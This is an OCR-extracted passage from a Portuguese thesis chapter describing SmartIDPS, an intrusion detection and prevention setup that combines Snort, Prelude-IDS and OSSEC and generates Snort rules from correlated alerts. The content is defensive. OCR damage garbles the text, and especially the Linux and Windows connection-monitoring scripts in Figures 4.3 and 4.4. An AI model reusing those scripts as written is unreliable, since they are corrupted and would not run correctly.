3.2.1 Componentes do Prelude-IDS

e Prewikka Interface € o frontend grafico de andlise do Prelude-IDS baseado em Web. Prové
vdrias caracteristicas para os usudrios e analistas e também prové acesso a ferramentas ex-

ternas tais como os comandos: whois € traceroute.

e Prelude-Manager é um servidor que aceita conexdes seguras de sensores ou outros gerentes
distribuidos e salva os eventos recebidos no formato IDMEF como especificado pelo usudrio
que pode ser em banco de dados, arquivos de log, emails, etc. Este componente programa e

estabelece as prioridades de tratamento de acordo com a criticidade e a origem dos alertas

e Libprelude é a biblioteca que garante as conexoes seguras entre todos os sensores e o Prelude-
Manager. Este componente prové uma API para a comunicagdo com os outros componentes
e também possibilita a integracdo de ferramentas de outros fabricantes no que torna possivel

a comunicagdo dessas ferramentas com o gerente do Prelude-IDS.

e LibpreludeDB € uma biblioteca que cria uma camada de abstracdo sobre o tipo e formato
do banco de dados usado para armazenar os alertas IDMEF. Permite aos desenvolvedores
utilizar facilmente e eficientemente o banco de dados independentemente de sua forma e

sem preocupar-se com o SQL.

o Prelude-LML é um analisador de logs que permite que o Prelude-IDS colete e analise infor-
macoes de todas as aplicacdes que geram logs no sistema a procura de detectar atividades

suspeitas e transforma-las em alertas IDMEF.

e Prelude-Correlator permite executar correlagdes gracas a uma linguagem de programacao

poderosa para a escrita de regras de correlagdo. Habilitando-se a correlacdo através de re-
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gras de correlacionamento a andlise de eventos torna-se mais simples, rdpida e muito mais

precisa.

3.3 OSSEC

OSSEC? é um HIDS de cédigo aberto que faz checagem de logs, checagem de integri-
dade, entre outras funcionalidades. Ele tem um poderoso motor de andlise e correlagdo de logs e
checagem de integridade de arquivos. OSSEC pode ser instalado como uma ferramenta para moni-
torar uma maquina ou em um ambiente de redes através da arquitetura cliente-servidor. Sua ultima
versao estavel € a 2.6 datada de 19 de julho de 2011, sendo um dos sistemas de cédigo aberto
atualmente mais difundidos para solu¢des de HIDS, e € mantido pela Trend Micro, Inc. OSSEC
foi projetado inicialmente para sistemas Linux, porém desde a versdo 0.8 existe um agente para o
Windows que pode monitorar os logs de eventos e outros arquivos, no entanto, ndo existe gerente
do OSSEC instaldvel em Windows.

Segundo sua péagina oficial o OSSEC ainda é um projeto em crescimento com mais
de 5.000 downloads por més em média, ele tem sido utilizado largamente em Internet Service
Providers (ISP), universidades, governos € mesmo em grandes datacenters corporativos como a
principal solu¢cdo de HIDS. Em 2008 foi considerado o HIDS de cédigo aberto mais difundido no
mundo (TIMOFTE, 2008) e continua sendo bastante difundido comprovadamente pela quantidade

de downloads mensais.

As regras do OSSEC sdo armazenadas dentro do diretério “rules” contido no diretério
de instalacdo, por padrdo este diretdrio é: /var/ossec/rules. As regras sdo definidas em arquivos
xml, por exemplo, regras para o servidor HTTP apache estdo armazenadas no arquivo: apache_-

rules.xml.

3http://www.ossec.net
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4 A SOLUCAO PROPOSTA

Esta solugdo € direcionada para implantacdo em servidores em ambientes de produ-
¢do, no entanto, em ambientes onde hajam recursos e disponibilidade pode ser utilizada também
simulando honeypots, uma vez que, o uso de honeypots prové uma solugdo efetiva para o aumento
da seguranca e confianca de uma rede de computadores (SINGH; RAMAJUJAM, 2009). Para a
maioria dos ambientes, uma combinacio de IDPS baseados em rede e IDPS baseados em mdquina
€ necessdria para a eficicia do sistema de seguranca (SCARFONE; MELL, 2007) como acontece
neste trabalho.

As ameagas que serdo analisadas e testadas para a geracdo automdtica de regras s@o
vulnerabilidades detectdveis ao nivel do motor de detec¢do do Snort. Estes ataques sdo identifica-
dos, em boa parte, pelo contetido dos pacotes e na camada de aplicacdo da arquitetura TCP/IP. Em
grande parte da literatura estudada encontramos deteccao no nivel dos preprocessadores do Snort,
ou seja, detectam ameacas baseadas nas caracteristicas dos protocolos e ndo na carga ttil dos paco-
tes, nesses IDS a andlise dos pacotes de rede € limitada a camada de Internet da arquitetura TCP/IP

ndo executando andlises na camada de aplicagdo.

Embora neste trabalho as ameacas sejam identificadas ou detectadas a partir da camada
de aplicacdo, algumas das regras geradas nao t€m informagdes pertinentes dessa camada, ou seja,
bloqueiam ameacas detectadas na camada de aplicac@o ao nivel da camada de rede porque nao
foi possivel identificar o trafego malicioso origindrio do ataque. Este comportamento deve-se a
extrema complexidade de automatizar a geracdo de regras efetivas, o que era esperado pois ndo
utilizamos nenhum laboratério de andlise de malware tal qual € utilizado pelo Sourcefire Vulne-
rability Research Team, um grupo trabalhando para descobrir e responder as ameacas de hackers,
tentativas de intrusdo, malwares e vulnerabilidades (SOURCEFIRE, 2012). Ainda assim, conse-
guimos gerar regras que incorporam conteido da camada de aplicacdo e efetivamente previnem

uma repeticdo do mesmo ataque, porém ndo t€m a capacidade de detectar varia¢des do ataque.

Para dar maiores condi¢des ao sistema para detectar as ameagas, principalmente aque-
las até entdo desconhecidas o IDPS tem conhecimento da topologia da rede, bem como dos servigos
oferecidos e dos sistemas operacionais utilizados. Este conhecimento normalmente obtém-se atra-
vés de atribuicdo de varidveis no sistema, na nossa solucio esse conhecimento também € obtido
através dos IDS de host instalados nos servidores e que se comunicam com o mdédulo central da

solugd@o. Esse modelo proposto de um IDPS foi denominado: SmartIDPS.

A solucdo aqui apresentada € toda baseada em software livre e hardware mediano por
i1sso ndo terd a performance e capacidades dos appliances proprietarios disponiveis a venda no
mercado. Para diminuir essa discrepancia sugerimos, numa implementacdo dessa estratégia, a
colocagdo de um firewall antes do IDPS, o qual diminuird o nimero de pacotes a serem analisados
pelo IDPS, diminuindo também o niimero de falsos positivos, uma vez que, um ataque a um servico

nao oferecido configura um falso positivo. Esta posi¢do do IDPS na topologia de rede nao é
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uma unanimidade entre os pesquisadores e projetistas de rede. A primeira tem a vantagem de
diminuir a carga de processamento e andlise do IDPS ao bloquear pacotes que ndo sdo uma ameaga
potencial. A segunda tem a vantagem de analisar todo o trafego permitindo um correlacionamento
maior entre 0s pacotes e deteccao de ameacas sem poder explorativo. A Figura 4.1 exemplifica o
primeiro cendrio. Em nosso ambiente de testes ndo estaremos utilizando firewalls para aumentar
a potencialidade dos ataques e mesmo porque um sistema de firewall pode ser desligado por um

atacante.

Redes Internas

Rede Externa
(Internet) "

IDPS

Roteador
Firewall

Figura 4.1: Posicionamento do Firewall de Borda e IDPS na Topologia da Rede

As préximas secoes desse capitulo apresentam algumas consideracdes gerais sobre a
solucdo, descrevem alguns requisitos do ambiente para o correto funcionamento do sistema e as
principais configuracdes necessdrias para a integracdo entre o Snort, Prelude-IDS e o OSSEC.
ApOs esta etapa explicaremos a concep¢ao do mddulo do sistema responsdvel por receber e corre-

lacionar os alertas gerados, gerar uma assinatura na forma de regra do Snort e aplica-la ao Snort.

4.1 Consideracoes Gerais
4.1.1 Sincronismo de Tempo

Como um requerimento necessario para a troca de mensagens de intrusdo previsto na
RFC que definiu o IDMEF (DEBAR; CURRY, 2007) o sincronismo de tempo ¢ fator crucial para
a andlise de multiplos eventos. Ainda, para a etapa de correlacdo de eventos é de suma importancia
que o correlacionador tenha uma informacao de tempo confidvel nas mensagens IDMEF, ou seja,

sincronizadas entre 0s sensores/agentes.

Para cumprir este requerimento foi instalado no ambiente, na maquina central, um
servico de sincronismo de tempo, o ntp, que € um daemon para o Network Time Protocol (NTP)
usado para manter o tempo dos computadores em sincronismo na rede. Todos os equipamentos
utilizados nos testes dessa solucdo estdo sincronizando o tempo com este servico que, por sua
vez, é sincronizado com os servidores do pool de servidores do NTP.br'. Nas maquinas Linux foi

instalado o pacote ntpdate que contem o comando ntpdate para realizar esta sincronizacao.

I'Servidores disponiveis e gratuitos via Internet da hora certa no Brasil
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4.1.2 Tamanho dos pacotes de rede

Por padrio o Snort s6 captura os primeiros 1.500 bytes do pacote, isso implica que pa-
cotes com mais de 1.500 bytes nao serdo capturados por completo. Na nossa soluc¢do o protocolo
da camada de interface com o meio utilizado € o Ethernet que tem, por padrao, a Maximum Trans-
mission Unit (MTU) de 1500 bytes, o que seria suficiente para garantir a captura do pacote por
completo, porém a maioria das placas de rede tem caracteristicas que fazem reagrupamento de pa-
cotes antes que eles sejam processados pelo kernel do sistema denominadas Large Receive Offload
(Iro) e Generic Receive Offload (gro), estas funcionalidades podem causar problemas nos deco-
dificadores do Snort ao variarem o tamanho dos pacotes entregues ao kernel pelo que € sugerido
que estas funcionalidades sejam desabilitadas. Por exemplo, em sistemas Linux podemos utilizar
o comando ethtool para desabilitar estas fun¢des. A Figura 4.2 exibe algumas configuracoes de
uma das placas de rede da maquina na qual estd instalado o Snort em nossos testes, contemplando

as defini¢des de lro e gro citadas acima.

root@snort:~# ethtool -k ethe
0ffload parameters for eth@:
rx-checksumming: off
tx-checksumming: off
scatter-gather: off h_
tcp-segmentation-offload: off
udp-fragmentation-offload: off
generic-segmentation-offload: off
generic-receive-offload: off
large-receive-offload: off

ntuple-filters: off

receive-hashing: off

root@snort:~#

Figura 4.2: Configuragdes da Placa de Rede ethO de uma maquina de testes

4.1.3 Algoritmo de Maior Substring Comum

A solucdo apresentada tem como uma de suas caracterfsticas a integrag¢do de ferramen-
tas para obten¢do de mais fontes de informagao e a centralizacdo dessas informagdes de intrusao.
A partir dessa centralizacdo € necessdria uma andlise para a identificacdo e geracio de assinaturas

de ataques e posterior criacao de regras para o Snort.

Para a tarefa de identificacdo de assinaturas utilizamos o algoritmo de maior substring
comum por ser considerado adequado para as detec¢des a nivel da camada de aplicagdo (TANG,
2010) (THAKAR; DAGDEE; VARMA, 2010). Este algoritmo serd utilizado em comparacdes da
carga util do trafego de rede com valores constantes nos alertas de intrusdo referentes aos processos

do sistema.
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4.1.4 Impacto na Performance do Sistema

Em todos os testes realizados foi infimo o impacto percebido no desempenho da rede
de computadores defendida, todos os servigos continuaram funcionando com a mesma laténcia e
nao houve excesso de carga no processamento ou no consumo de memoria dos servidores. No
servidor utilizado no ambiente de testes com maior nimero de servicos e uma CPU de 2.0GHz
e 2MB de cache o OSSEC consumiu em média menos de 1% da CPU, alcangando até 3%, j4 na

memoria o consumo médio da solugdo foi de 60MB de RAM.

Esse comportamento € esperado pois, os sistemas instalados nio consomem muitos
recursos das maquinas e os ataques inseridos na rede sdo compostos de poucos pacotes. Em média,
um ataque gera 2 alertas nos sensores do sistema, um proveniente do servidor atacado e o outro do
Snort, e 2 alertas de correlacdo, que nestes testes ndo sao jogados na rede porque o correlacionador
e o gerente estdo na mesma maquina. Por sua vez, estes alertas podem gerar em média 2 regras
para o Snort que sdo entdo jogadas na rede enderecadas a esse NIDS. Numa rede de 100Mb/s essa

quantidade infima de pacotes de tamanho reduzido nao tem nenhum impacto consideravel na rede.

Esse fato é mais um fator que corrobora com a escalabilidade do sistema. A méquina
mais comprometida em performance numa expansao da rede monitorada seria a qual hospeda o
sistema Prelude-IDS, na qual o impacto na performance nao estd ligado diretamente ao nimero
de sensores conectados e sim ao nimero de alertas recebidos. Implica que uma rede com poucos
servidores mas muito atacada terd um impacto maior na performance dessa miquina do que uma
rede com muitos servidores e pouco atacada. Ainda, em nosso ambiente de testes o servidor con-
figurado com o Prelude-IDS permaneceu em média com 97% do processamento da CPU ocioso,
sendo consumidos cerca de 60MB da memoria RAM com o sistema IDS instalado e a maior parte

desse consumo € devida ao SGBD utilizado.

No entanto, devemos salientar que essa estratégia € vulnerdvel a um ataque de negagao
de servico. Se forem injetados na rede milhares de pacotes que gerariam alertas no sistema, em
algum momento o sistema iria travar ou pela saturacao da banda ou pelo esgotamento dos recursos
do servidor Prelude-IDS, que nessa situacdo teria uma grande carga de processamento. Mesmo
que consigamos bloquear pacotes com o Snort um ataque de DDoS conseguiria burlar o NIDS.
Para tentar mitigar um possivel ataque de DoS o administrador da rede deve pensar em outros
mecanismos € equipamentos para acrescentar a proposta dessa solucdo de IDPS, nio sendo essas

solucdes contribuicdes previstas neste trabalho.

O Snort € indicado para redes até 100Mb/s com um processador de pelo menos 900MHz
e 512MB de RAM (DRIES, 2001), nas quais ele consegue ter um desempenho satisfatério com
uma baixa taxa de alertas e um nimero moderado de regras que exijam andlises no payload, que
sdo0 as regras que consomem mais recursos do sistema. Para fluxos de rede maiores a indicagado €
testar o Snort no ambiente e se ndo tiver desempenho satisfatorio partir para a compra de applian-

ces especificos para essa finalidade.
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Maiores detalhes sobre a configuragdo dos servidores citados nessa se¢do serdo encon-

trados no Capitulo 5.

4.1.5 O Correlacionador

As intrusdes podem ser representadas por um evento ou uma série de eventos e as
relagdes entre esses eventos provéem a base para reconhecer os diferentes tipos de ataques que
podem ser identificados por mudancas no estado do sistema, padrdes sequenciais de eventos, ex-
pressdes regulares entre outras (BARRUS; ROWE, 1998). Essas relacdes sao identificadas pelo

correlacionador de eventos.

A técnica que é utilizada para a correlagdao de eventos é o Raciocinio Baseado em
Regras que € considerada a técnica mais comum (PEREIRA, 2005) e consiste de trés elementos
basicos: memoria, conjunto de regras e algoritmo de raciocinio. Os eventos propriamente ditos
sd0 a memoria, o conjunto de regras representa o conhecimento sobre os relacionamentos dos
eventos e as inferéncias e acdes que devem ser aplicadas sobre eles e o algoritmo de raciocinio
€ o responsavel por realizar essa inferéncia, verificando a memoria e o conjunto de regras para

confirmar se alguma correlagdo pode ser feita.

O sistema Prelude-IDS escolhido neste trabalho implementa um correlacionador de
eventos baseado em regras que € utilizado no trabalho. Este correlacionador contem por padrio
sete regras habilitadas para a detec¢do das seguintes atividades: eventos excessivos de uma tnica
madquina (event storm), 0 mesmo evento a partir de uma mesma maquina contra multiplas maquinas
(event sweep), multiplos eventos de uma mesma origem contra uma unica maquina (event scan),
falhas multiplas de login em uma conta de usudrio (brute force), tentativa de multiplos métodos de
autenticacdo de um usudrio em um servidor SSH, propagacdo de worms e endereco IP de origem

constante de uma blacklist publica.

Percebe-se que todas as regras originais citadas no pardgrafo anterior tratam da corre-
lagdo entre varios ataques ou ataques multiplos. No entanto, a correlagdo desejada nesta estratégia
ndo se refere a varios ataques e sim ao mesmo ataque sendo identificado por sensores distintos
através do trafego de rede ou por seus efeitos nas maquinas afetadas. Para a avaliacdo desta pro-
posta estas regras originais foram entdo desabilitadas por ndo configurarem os tipos de ataques que
desejamos identificar e, principalmente, porque ndo trazem informacdes de interesse para nossa es-
tratégia de geracdo de regras para o Snort. Desta maneira, s aproveitaremos a estrutura de dados

e a linguagem de criacdo de regras desse correlacionador implementando nossa propria regra.

Para o funcionamento desejavel da estratégia, mais precisamente da regra de correlagdao
criada, foi necessdria a criagdo de uma regra de deteccdo no OSSEC, que € apresentada na Secdo
4.3.3. Esta regra executa comandos simples no sistema com uma periodicidade de trés segundos,
que pode ser alterada. Contudo, nos experimentos realizados esse valor mostrou-se satisfatério

sendo o motivo pelo qual foi mantido em todos os testes. O valor ideal desse intervalo dependerd
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dos servigos oferecidos, do hardware utilizado e da intensidade de utilizacao dos servigos pelos
usudrios. Portanto cada cendrio terd um valor ideal dessa periodicidade que equilibre a qualidade

do servico com o impacto nos recursos do sistema.

Por sua vez, o correlacionador recebe os alertas em tempo real e instancia um objeto
denominado “contexto” com parametros varidveis, que terd como atributos os eventos suposta-
mente relacionados, dentro de um intervalo de tempo, baseados em IP e porta de destino. Em
sintese nossa regra de correlacdo procura encontrar similaridade na carga util dos pacotes de rede,
alertas do Snort, com as informagdes obtidas dos processos do sistema envolvidos no ataque, aler-
tas do OSSEC. Caso seja identificada uma nova conexdo de rede estabelecida contréria a politica
de seguranca o correlacionador gera um alerta de suspeita de backdoor. Caso identifique-se o ser-
vigo atacado, o correlacionador gera uma regra para monitoramento desse servico. Estes alertas do
correlacionador devem gerar uma regra para o Snort de bloqueio de conexdes na porta do possivel
backdoor e de monitoramento do IP do atacante com destino ao servigo atacado, durante repeti¢oes
desse ataque os alertas, dessa ultima regra, conterdo informagdes do payload dos pacotes para a
andlise do correlacionador juntamente com as informacdes obtidas dos processos do sistema. Uma
vez que o correlacionador possua também os dados da rede, seus alertas terdo maiores informagdes
que facilitardo a extragdo de uma assinatura dos ataques. A Secdo 6.2 facilita esse entendimento

explicando a execucdo dos ataques e saidas obtidas pela estratégia proposta.

Reforcamos que as regras de correlacao utilizadas nio sdo as regras distribuidas por
padrdo com o médulo correlacionador do Prelude-IDS, o mesmo foi utilizado para aproveitamento
do fato de receber como entrada os alertas em uma estrutura de dados simples, possuir uma lingua-
gem de criacdo de regras de correlagdo e implementar métodos de geracdo de alertas de intrusdo e
envio ao Prelude-Manager. Nao quer dizer que estas regras devam ser descartadas, pelo contrério,
elas foram desabilitadas apenas para os testes especificos dessa estratégia devendo ser habilitadas
novamente em uma implementacdo em producdo pois figuram como mais fontes de informagdes

para o gestor de seguranca.

4.2 Componentes da Soluciao Proposta

O sistema aqui proposto € baseado em 3 sistemas de codigo livre disponiveis na In-
ternet que a partir da integracdo destes conseguimos obter caracteristicas e funcionalidades ndo
encontradas isoladamente e que caracterizam algumas das contribui¢cdes dessa proposta apresen-
tadas na Secdo 1.4, a saber: prevencao de intrusdo a partir da geracio de regras, escalabilidade e

concentracdo de mais informagdes para a geracao de conhecimento.

Estes sistemas foram encontrados em varios trabalhos durante a pesquisa e alguns deles
constam nas referéncias bibliogréficas, porém ndo € o escopo deste trabalho detalhar estas ferra-
mentas, apenas sio utilizadas como alicerces para o desenvolvimento da estratégia. Por enquanto,

iremos list4-las e justificar a escolha de cada uma delas:
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e Snort: escolhido por permitir a prevencao de intrusdao bloqueando o trafego de rede para as

redes internas.

e Prelude-IDS: escolhido por utilizar o padrao IDMEF que permite a escalabilidade da solucao

ao integrar-se com qualquer ferramenta que utilize o IDMEF para troca de mensagens.

e OSSEC: escolhido por ser um dos HIDS de cédigo aberto mais difundidos (TIMOFTE,
2008) e utilizar o padrdao de troca de mensagens IDMEF. Mas poderia ter sido escolhido
qualquer outro HIDS compativel com o Prelude-IDS, pois temos flexibilidade na escolha
dos HIDS. Podemos até mesmo ter solu¢des de HIDS distintas para uma implanta¢ido do

IDPS proposto.

E conveniente citarmos a ferramenta OSSIM (Open Source Security Information Ma-
nagement) que tem como principal caracteristica ser uma compilacdo de varias ferramentas de
seguranca que trabalhando juntas garantem ao gerente de seguranca uma visao detalhada e cen-
tralizada de cada aspecto de seguranga da rede. OSSIM incorpora mais de 30 ferramentas entre
elas o0 OSSEC e o Snort (HOQUE et al., 2012). Esta ferramenta € a solucdo de SIEM (Security
Information and Event Management) de cdigo aberto mais difundida no mundo segundo sua pro-
pria pégina eletronica (ALIENVAULT, 2012). Entdo por que ndo a utilizarmos? Esta ferramenta é
distribuida como uma imagem de um sistema operacional que deve ser instalado isoladamente em
um ponto da rede no qual chegue ou passe a maioria dos pacotes da rede e é composta de varias
outras ferramentas que geram eventos e informag¢des nao necessariamente de intrusodes, estas duas
caracteristicas citadas nio sio condizentes com a proposta desse trabalho pois 0 OSSIM nio deve
ser instalado e configurado como um HIDS nem tdo pouco tem como objetivo principal ser um
IDS, ele requer muitos recursos do sistema o que € contrario a estratégia desse trabalho, contem
como unico NIDS o Snort que ja € utilizado na solu¢do proposta e apde ao sistema mais uma ca-
mada de cédigo desnecessdria a estratégia apresentada, a qual trabalha em um nivel mais baixo de

abstracao no qual temos mais dominio da solugdo.

4.3 Configuracoes das Ferramentas

Esta secdo explica as principais configuragdes da estratégia proposta para a integracao
dos diversos sistemas IDPS utilizados. Apresentamos breves passos de como € possivel integrar
estas ferramentas para a obtencdo de um IDPS robusto (BRAMS, 2008) (SHIH-YITU; CHUNG-
HUANGYANG; KOUICHI, 2009) (BYRD, 2009) com um concentrador de alertas de intrusdo em
uma maquina com sistema operacional Debian, configuragdes mais detalhadas estdo nos apéndices
deste trabalho.

Para todos os sensores (Snort e OSSEC) devem ser instalados os componentes Prelude-
LML e LibPrelude do Prelude-IDS, estes componentes sdo responsdveis pela integracao dos sen-

sores com o Prelude-Manager possibilitando a comunicacio segura entre 0s sensores € o gerente.
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4.3.1 Prelude-IDS

Abaixo estdo descritos 0s principais passos necessarios para o correto funcionamento
dos componentes do Prelude-IDS em nosso ambiente de testes. Todos os comandos e procedimen-

tos que serdo citados e omitidos nesta secdo estdo descritos no Apéndice B.

e Prelude-Manager

Essa ferramenta ndo requer nenhuma configuragdo especifica para funcionar corretamente
nessa estratégia. Apenas alguns comandos sio executados neste componente durante o re-
gistro dos sensores em sua base de dados. Este componente € o gerente central da solugao,
todos os alertas gerados no sistema chegam a ele e, para esta implementacao, estdo sendo sal-
vos no arquivo de texto /var/log/prelude-manager/prelude-xml.log da mesma maneira como

sdo recebidos, em formato IDMEF.

e Prelude-Correlator

Inicialmente as regras originais dessa ferramenta sdo desabilitadas no arquivo: /etc/prelude-
correlator/prelude-correlator.conf. Este componente do Prelude-IDS deve ser registrado no
Prelude-Manager para permitir a troca de eventos entre eles. Os alertas gerados no sistema
sdo enviados ao manager que imediatamente encaminha-os a esse componente para as ativi-

dades de correlagdo.

As regras de correlacionamento sdo escritas em Python e devem ser instaladas no sistema
para que sejam acessiveis a partir desse componente. Foi definida nesta estratégia apenas
uma classe em Python simbolizando uma unica regra de correlagdo que recebera todos os
alertas e processara toda a l6gica de correlacionamento, a qual baseia-se no endereco IP de
destino e porta de destino dos alertas gerados. A sintaxe e procedimentos pertinentes estao
no Apéndice B. A partir do processamento dos alertas recebidos novos alertas podem ser
gerados, sao os chamados alertas de correlagdo. Estes alertas sdo a base para a identificacao
dos ataques e geracdo de regras para o Snort que ocorrem no componente desenvolvido em
Java especialmente para estas fun¢des denominado aqui de Médulo Gerador de Regras/As-

sinaturas descrito na Sec¢do 4.4.

e Prelude-LML

Separamos uma secao exclusiva para este componente porque ele € o mais importante na
integracdo das ferramentas e, para todos os sensores, suas configuragdes sao basicamente as

mesmas.

Para as distribui¢cdes Debian existem os pacotes pré-compilados nos repositorios oficiais
para os componentes: Prelude-LML e LibPrelude. Este ultimo ¢ uma dependéncia para a
instalacdo do primeiro, portanto, sempre que for instalar o Prelude-LML deve-se também
instalar LibPrelude.
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Ha apenas 2 simples requisitos para que este componente passe a funcionar satisfatoria-
mente. Primeiro deve-se configurar a diretiva “server-addr” com o endereco IP do gerente,
que ja deve estar instalado e configurado, no arquivo de configuracao: /etc/prelude/default/-
client.conf. Segundo, deve-se registrar esse sensor no gerente para que o tltimo o reconheca
como confidvel e possibilite a comunicacdo segura, nesta etapa serd criada uma chave de
1024 bits que serd trocada com o gerente para a conclusdo do registro. Para a operacao
de registro € gerada uma senha no gerente que deve ser passada para o cliente. Ao inse-
rir a senha correta no cliente o servidor envia o certificado digital que este usard para as
comunicagdes com o servidor na porta TCP 4690 caracterizando o registro do cliente no
Prelude-IDS. Neste momento este cliente pode ser visto na interface do Prewikka como um

agente registrado.

Estas configuragdes descritas s@o atinentes a comunicagao do Prelude-LML com o Prelude-
Manager. Ainda nos resta a integracao das ferramentas Snort e OSSEC com o Prelude-LML

que serd explicado nas proximas secoes.

4.3.2 Snort

No pacote pré-compilado do Snort nos repositérios oficiais nao estd habilitado o mé-
dulo que habilita o plugin de saida “alert_prelude” necessdrio para a comunicacao do Snort com o
Prelude-IDS nem esta habilitada a possibilidade de recarregar as configuragdes sem parar o Servico.
Portanto, o Snort deve ser compilado com os parametros referentes a estas duas funcionalidades,

estes parametros bem como as demais configuracdes podem ser encontradas no Apéndice A.

No arquivo de configuragao principal do snort “/etc/snort/snort.conf” deve-se habilitar
o plugin de saida em IDMEF “alert_prelude” passando o nome do perfil criado no momento do

registro com o gerente que no Snort, por padrdo, chama-se: snort.

Para que o Snort funcione em modo Inline, que permite a prevencao de intrusdo através
da a¢do “drop”, devem ser modificados os argumentos de inicializacdo do servico, normalmente
modifica-se o arquivo: /etc/init.d/snort. Estes argumentos sao referentes a habilitacio do modo
Inline e das 2 interfaces analisadas que funcionardo como uma bridge na rede, por onde passard
todo o trafego a ser analisado. Para que a ac¢do “drop” e o modo Inline funcionem € obrigatéria
essa topologia, caso o Snort seja instalado no roteador da rede essa a¢do ndo bloqueard o trafego
mesmo que esse modo esteja habilitado, apenas ird gerar alertas trabalhando assim como IDS e
nao IPS.

4.3.3 OSSEC

Nao existe pacote pré-compilado do OSSEC para os sistemas Debian, portanto, deve-
mos compild-lo. A versdo instalada no ambiente € a 2.6. Para as maquinas Linux foi escolhido o

tipo de instalacdo denominado por “local”, o qual configura em uma unica miquina o gerente e o



54

agente do OSSEC. Para a maquina Windows utilizada, como néo existe a possibilidade de instalar
o gerente nesse Sistema Operacional optamos por instalar o agente que se comunica com o gerente
instalado no mesmo equipamento que o Prelude-Manager. A decisao de termos, no ambiente de
testes, 3 gerentes do OSSEC enquanto podiamos ter s6 1 deve-se ao fato de que teremos 3 sis-
temas comunicando-se com o modulo central da solucdo, ao invés de 1, garantindo uma maior

generalizacdo da solucao.

Para a configuragdo do OSSEC devemos editar o arquivo de configuragdo /var/os-
sec/etc/ossec.conf e inserir no comeco do arquivo, dentro da tag “<ossec_config>" as seguintes
informacdes, substituindo apenas o perfil que serd utilizado pelo Prelude-LML no registro junto ao

Prelude-Manager:

<global>
<prelude_output>yes</prelude_output>
<prelude_profile>perfil</prelude_profile>
</global>

Ainda, as regras originais do OSSEC nao monitoram o estado do sistema, por isso, €
necessdria a criagdo de uma regra para o OSSEC que o permita monitorar as conexdes de rede do
sistema, a qual é baseada em anomalias no comportamento esperado. Esta regra em cada servidor
consiste na comparacdo, a cada 3 segundos, das saidas do script apresentado na Figura 4.3 com
variagdes apenas das portas dos servigos oferecidos para as maquinas Linux e na Figura 4.4 para
a maquina Windows. O objetivo dessas regras € de estabelecer a drvore de processos referente as
conexdes monitoradas e informacdes como: porta de rede, dono do processo e os comandos de

execucdo envolvidos. Estes valores serdo utilizados para aferir a correlacao dos alertas de intrusao.

aux=0; for a in $(netstat -tanp |grep LIS |egrep -v '127.0.0.1]192.168.3.20" | egrep -v ":(80 |

953|111 139 |8180 (3306|3632 |21 [22 |53 |23 [5432 |25 |445 8009 )' | cut -d ":" -f2- ); do
aux=expr Saux + 1'; if [ "expr Saux % 4 !=0 ]; then echo -n \"$a\"; else pid=S$(echo S$a |
cut -d '/" -f1); echo -n $(stat -¢ ""%x" "%U"' /proc/$pid); echo \"$( ps ax | egrep ""( *)$pid" |

sed 's/ /g [tr-s" " |cut-d " " -f5- | sed 's\"/ /")\"; ppid=S$(cat /proc/Spid/stat | tr-s " " |
cut -d " " -f4); while [ Sppid != 1 ]; do echo -n \"$(echo -n "ps ax | egrep "~( *)Sppid"" | sed

'S/ANH [ tr-s " " | cut-d " " -f5- | sed 's/\"//g' \"; echo -n \""netstat -antp | grep $ppid | egrep |
-v'127.0.0.1):" |cut-d ":" -2 [tr-s" " |cut-d " " -f1 | uniq’\"; ppid=$(cat /proc/Sppid/stat |
tr-s""|cut-d" " -f4); done: echo ";"; fi; done

Figura 4.3: Linux - Regra de monitoramento de conexdes no OSSEC

4.4 Codificacoes Necessarias

Para o desenvolvimento da estratégia foi necessdria a implementagcdo de alguns c6-
digos: regra de correlacdo do Prelude-IDS, Mdédulo Gerador de Assinaturas/Regras e um socket
responsavel pelo envio de regras no Snort. Cada uma dessas implementagdes estdo descritas nas

proximas secdes e fazem parte dos apéndices deste trabalho.
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fecho off
FOR /F "delims=" %%i IN |'netstat -p tep -ano *|egrep —-v ":(3389|1025|135|445|60000| 139211028} ™
*| grep LIS *| sed "=/.%[ 1//g"™') DO set FID=%%i
FOR /F "delims=" %%i IN ('wmic process where processid*=%PID% get parentprocessid/Format:list *|
find "ParentProcessId"™ *| sed "s/*.F=//"') DO set PPID=%%i
netstat —-p top —ano | grep 3PIDY | grep LIS | sed "s/C 1[0 1+F Fov
netstat -p top —ano | grep %¥PPIDS | grep LIS | sed "s/[ 1[ 1%/ Aog"
echo
wmic process where processid=%FID: get executshlepath fFormatc:listc | *
find MExecutsblePath® | sed s/°.%=//
wmic process where processid=3PPID: get executablepath HFkaat:list |
find MExecutsblePath® | sed s/°.%=//
«| |

Figura 4.4: Windows - Regra de monitoramento de conexdes no OSSEC

4.4.1 Regra de Correlacio

Uma das principais caracteristicas dessa estratégia é a integracdo entre ferramentas
permitindo o correlacionamento de dados. Como j4 dito anteriormente, utilizamos o Prelude-
Correlator como correlacionador, porém ainda nio temos nenhuma regra de correlacio para esta
solucdo e precisamos escrevé-la. A Figura 4.5 exemplifica o funcionamento do correlacionador
desde o recebimento do alerta passando pela aplicacdo das regras até o envio do alerta de correlagio

ao gerente do sistema.

A regra de correlacdo criada para detectar ataques intrusivos recebe todos os alertas do
sistema e descarta aqueles que ndo sdo provenientes do Snort ou ndo oriundos da regra criada no
OSSEC para monitoramento das conexdes do sistema. Inicialmente sdo verificadas as informagdes
de endereco e porta de destino, posteriormente procura-se no alerta IDMEF campos adicionais que
exibem a arvore de processos das conexdes estabelecidas, para o caso de alerta do OSSEC, ou a
carga util do trédfego de rede, para o caso de alerta do Snort. Podem ser geradas regras com 2 tipos

de criticidade: info e high.

4.4.2 Médulo Gerador de Assinaturas/Regras

O Moédulo Gerador de Assinaturas/Regras foi implementado na linguagem Java. Ele
monitora, em tempo real, o arquivo de registros do gerente do sistema que contem os alertas
recebidos fazendo um parser do XML a procura de alertas de correlagdo. Ao receber um alerta
do correlacionador este identifica se € um alerta critico ou ndo através do valor do campo severity
constante do padrao IDMEF. Sendo um alerta de baixa criticidade a acdo da regra criada serd
“alert” caso contrdrio serd “drop”. Na etapa seguinte, este modulo analisa o alerta para extrair
informacdes da camada de rede e da camada de aplicagdo, se houver. Os valores aqui extraidos
sdo: IP e porta de origem, IP e porta de destino e informagdes de correlacionamento entre os alertas

extraidas das conexdes de rede estabelecidas, bem como, dos processos que as originaram.

O mdédulo pode gerar 2 tipos de regras para o Snort, regra de deteccao e regra de pre-
vengdo, diretamente relacionadas com a acdo a ser tomada pelo Snort. As primeiras sdo geradas

quando ndo se tem informacdes suficientes e pretende-se obter essas informacdes através de um
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monitoramento adicional no Snort, na porta do servigo atacado. As segundas sdo geradas quando
